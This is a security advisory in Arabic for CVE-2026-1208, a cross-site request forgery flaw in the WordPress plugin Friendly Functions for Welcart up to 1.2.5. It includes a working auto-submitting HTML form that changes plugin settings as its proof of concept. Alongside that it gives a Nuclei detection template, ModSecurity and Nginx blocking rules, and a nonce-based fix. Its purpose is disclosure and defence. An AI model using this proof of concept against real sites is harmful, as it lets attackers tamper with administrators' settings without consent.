
Friendly Functions for Welcart <= 1.2.5 - تزوير الطلب عبر المواقع لتحديث الإعدادات
الكلمات المفتاحية: CVE-2026-1208، ثغرة Friendly Functions for Welcart، CSRF، تزوير الطلبات عبر المواقع، أمان WordPress، ثغرة إضافة WordPress، CWE-352، أمان Welcart، التلاعب بالإعدادات، WordPress CVE 2026
ثغرة CSRF في إضافة Friendly Functions for Welcart لووردبريس (CVE-2026-1208) - خلل أمني يسمح للمهاجمين غير المصادَق عليهم بتعديل إعدادات الإضافة عبر طلبات مزوّرة.
تم اكتشاف ثغرة تزوير الطلبات عبر المواقع (CSRF) في إضافة Friendly Functions for Welcart تسمح للمهاجمين غير المصادَق عليهم بتحديث إعدادات الإضافة عبر خداع مسؤول الموقع للنقر على رابط ضار.
اكتشفها: Kai Aizen (SnailSploit)
نُشرت في: 23 يناير 2026
درجة CVSS: 4.3 (متوسطة)
CWE: CWE-352 - تزوير الطلبات عبر المواقع (CSRF)
الإضافة: Friendly Functions for Welcart
نوع الهجوم: تزوير الطلبات عبر المواقع لتحديث الإعدادات
الصلاحيات المطلوبة: لا شيء (هجوم غير مصادَق عليه + هندسة اجتماعية)
إضافة Friendly Functions for Welcart لووردبريس عرضة لتزوير الطلبات عبر المواقع في جميع الإصدارات حتى 1.2.5. يعود السبب إلى غياب أو عدم صحة التحقق من nonce في صفحة الإعدادات. وهذا يجعل من الممكن للمهاجمين غير المصادَق عليهم تحديث إعدادات الإضافة عبر طلب مزوّر، بشرط تمكنهم من خداع مسؤول الموقع لتنفيذ إجراء مثل النقر على رابط.
تسمح هذه الثغرة للمهاجمين غير المصادَق عليهم بما يلي:
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N
توجد الثغرة في تنفيذ صفحة الإعدادات حيث:
تم تحديد الثغرة في المواقع التالية:
ffw_function_settings.php - السطر 53ffw_function_settings.php - السطر 58يتطلب الهجوم هندسة اجتماعية لخداع مسؤول مصادَق عليه لزيارة صفحة ضارة أو النقر على رابط مُصمَّم خصيصًا أثناء تسجيل دخوله إلى موقع WordPress الخاص به.
Target: WordPress Admin with Friendly Functions for Welcart installed
Method: Malicious HTML page with auto-submitting form
Trigger: Administrator clicks link or visits attacker-controlled page
<!DOCTYPE html>
<html>
<head>
<title>CVE-2026-1208 - CSRF PoC</title>
</head>
<body>
<h1>Loading...</h1>
<form id="csrf-form" action="https://TARGET_SITE/wp-admin/admin.php?page=ffw-settings" method="POST">
<input type="hidden" name="ffw_setting_option" value="malicious_value" />
<!-- Add additional setting fields as needed -->
</form>
<script>
document.getElementById('csrf-form').submit();
</script>
</body>
</html>
⚠️ تحذير: تم توفير إثبات المفهوم هذا لأغراض تعليمية وللاختبارات المرخّصة فقط.
# Check if vulnerable version is installed
wp plugin list | grep -i "friendly-functions-for-welcart"
# Get specific version
wp plugin get friendly-functions-for-welcart --field=version
قالب Nuclei:
id: CVE-2026-1208
info:
name: Friendly Functions for Welcart - CSRF to Settings Update
author: SnailSploit
severity: medium
description: |
Friendly Functions for Welcart plugin for WordPress is vulnerable
to CSRF in versions <= 1.2.5 due to missing nonce validation.
reference:
- https://github.com/SnailSploit/CVE-2026-1208
- https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/friendly-functions-for-welcart/friendly-functions-for-welcart-125-cross-site-request-forgery-to-settings-update
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N
cvss-score: 4.3
cve-id: CVE-2026-1208
cwe-id: CWE-352
tags: cve,cve2026,wordpress,wp-plugin,csrf,welcart
requests:
- method: GET
path:
- "{{BaseURL}}/wp-content/plugins/friendly-functions-for-welcart/readme.txt"
matchers-condition: and
matchers:
- type: word
words:
- "Friendly Functions for Welcart"
- type: regex
regex:
- "(?i)Stable tag:\\s*(1\\.([0-1]\\.[0-9]|2\\.[0-5]))"
- type: status
status:
- 200
extractors:
- type: regex
name: version
group: 1
regex:
- "(?i)Stable tag:\\s*([0-9.]+)"
قاعدة ModSecurity:
# CVE-2026-1208 - Block CSRF attempts to FFW settings
SecRule REQUEST_URI "@contains /wp-admin/admin.php" \
"chain,id:2026001,phase:2,t:none,t:urlDecodeUni,\
log,deny,status:403,msg:'CVE-2026-1208 CSRF Attempt Blocked'"
SecRule ARGS:page "@streq ffw-settings" \
"chain"
SecRule &REQUEST_HEADERS:Referer "@eq 0"
# Alternative: Block if referer doesn't match site domain
SecRule REQUEST_URI "@contains /wp-admin/admin.php" \
"chain,id:2026002,phase:2,t:none,\
log,deny,status:403,msg:'CVE-2026-1208 Cross-Origin Request Blocked'"
SecRule ARGS:page "@streq ffw-settings" \
"chain"
SecRule REQUEST_HEADERS:Referer "!@contains yourdomain.com"
قاعدة Nginx:
# CVE-2026-1208 - CSRF Protection for FFW Settings
location /wp-admin/admin.php {
# Check for ffw-settings page without proper referer
if ($arg_page = "ffw-settings") {
set $csrf_check "1";
}
if ($http_referer !~ "^https?://(www\.)?yourdomain\.com") {
set $csrf_check "${csrf_check}1";
}
if ($csrf_check = "11") {
return 403;
}
# Pass to PHP handler
try_files $uri =404;
fastcgi_pass php-fpm;
include fastcgi_params;
}
إجراء فوري مطلوب:
تأكد من أن جميع نماذج الإعدادات تطبّق حماية CSRF مناسبة:
// Example of proper CSRF protection in WordPress
// In your form:
wp_nonce_field('ffw_settings_update', 'ffw_settings_nonce');
// In your form handler:
function process_settings_update() {
// Verify nonce
if (!isset($_POST['ffw_settings_nonce']) ||
!wp_verify_nonce($_POST['ffw_settings_nonce'], 'ffw_settings_update')) {
wp_die('Security check failed');
}
// Check capabilities
if (!current_user_can('manage_options')) {
wp_die('Unauthorized');
}
// Process settings update
// ...
}
الباحث:
عملية الإفصاح: تم التنسيق من خلال برنامج Wordfence لمكافآت اكتشاف الثغرات
يتم توفير هذه المعلومات لأغراض البحث الأمني والأغراض الدفاعية فقط. أي استغلال لهذه الثغرة لأغراض ضارة يعد غير قانوني وغير أخلاقي. احرص دائمًا على الحصول على إذن مناسب قبل اختبار أنظمة لا تملكها.
للاستفسارات أو المعلومات الإضافية حول هذه الثغرة:
آخر تحديث: 23 يناير 2026
التوثيق الكامل لهذا المشروع، والمنهجية، والأبحاث ذات الصلة متاحة على:
https://snailsploit.com/security-research/cves/cve-2026-1208/
أُنشئ بواسطة Kai Aizen — باحث أمني هجومي مستقل.
snailsploit.com · الأبحاث · الأطر · GitHub · LinkedIn · ResearchGate · X/Twitter
الهجوم نفسه. ركيزة مختلفة.
| المقياس | القيمة |
|---|
| متجه الهجوم | شبكة (AV:N) |
| تعقيد الهجوم | منخفض (AC:L) |
| الصلاحيات المطلوبة | لا شيء (PR:N) |
| تفاعل المستخدم | مطلوب (UI:R) |
| النطاق | غير متغير (S:U) |
| السرية | لا شيء (C:N) |
| السلامة | منخفضة (I:L) |
| التوفر | لا شيء (A:N) |